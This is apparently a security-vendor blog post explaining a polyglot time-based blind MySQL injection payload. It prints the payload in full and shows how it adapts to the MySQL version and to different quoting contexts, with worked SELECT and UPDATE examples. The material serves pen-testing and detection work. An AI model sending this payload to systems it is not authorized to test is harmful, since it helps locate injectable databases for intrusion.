At Detectify we often try to find the most effective way of pen testing web applications. Many researchers (and tools) use a lot of different payloads to find SQL Injections, but what if there was a payload that works in all cases? Well (un)fortunately we couldn’t find such a payload, but we invented something close! The adapting payload.

The adapting payload works in all cases where a MySQL Injection vulnerability is present and it looks like this:

IF ( SUBSTR (@ @version , 1 , 1 )< 5 , BENCHMARK ( 2000000 , SHA1 ( 0xDE7EC71F1 )), SLEEP ( 1 )) /*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/

If the server waits for about a second when sending this payload, chances are there’s a MySQL Injection present! But how does it work? Let’s break it down:

Adapting to MySQL version

The first thing the payload does is to check if the MySQL Version supports the SLEEP() function. If it doesn’t, the payload will instead use the BENCHMARK() function. These functions makes the server wait for a given amount of time and the adaption between SLEEP() and BENCHMARK() makes it work on all MySQL versions.

Adapting to quotation

The second trick the payload will do is to adapt to which kind of quotation is used. This is done by using binary functions (OR and XOR) to concatenate the strings without breaking the syntax.

Example 1:

SELECT * FROM some_table WHERE double_quotes = "[Injection point]"

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|" XOR ( IF ( SUBSTR (@ @version , 1 , 1 )< 5 , BENCHMARK ( 2000000 , SHA1 ( 0xDE7EC71F1 )), SLEEP ( 1 ))) OR "*/"

Example 2:

UPDATE some_table SET secret_value = '[Injection point]'

UPDATE some_table SET secret_value = 'IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*' XOR ( IF ( SUBSTR (@ @version , 1 , 1 )< 5 , BENCHMARK ( 2000000 , SHA1 ( 0xDE7EC71F1 )), SLEEP ( 1 ))) OR '|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),​SLEEP(1)))OR"*/'

As you can see, the payload will execute our BENCHMARK() or SLEEP() regardless of which quotes are used.

Adapting to non-encapsulated queries

Last, if the payload is not encapsulated within quotes or single quotes, the payload will put “the rest” of the payload within a multi-line comment to avoid a syntax error.

Example:

SELECT 1 , 2 ,[ "Injection point" ] FROM some_table WHERE ex = ample

SELECT 1 , 2 , IF ( SUBSTR (@ @version , 1 , 1 )< 5 , BENCHMARK ( 2000000 , SHA1 ( 0xDE7EC71F1 )), SLEEP ( 1 )) /*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),​SLEEP(1)))OR"*/ FROM some_table WHERE ex = ample

So one payload to rule them all huh? Well unfortunately research time ran out before we could extend the payload to other DBMS’s, but for now if you’re using MySQL, feel free to use this for finding SQL Injections on your own installation!

PS. Got tired of searching for SQL injections by hand? You could always give Detectify a try and let automation do the work! Sign up for a free trial and go get those SQL injections »

Authors: Mathias Karlsson and Fredrik Nordberg Almroth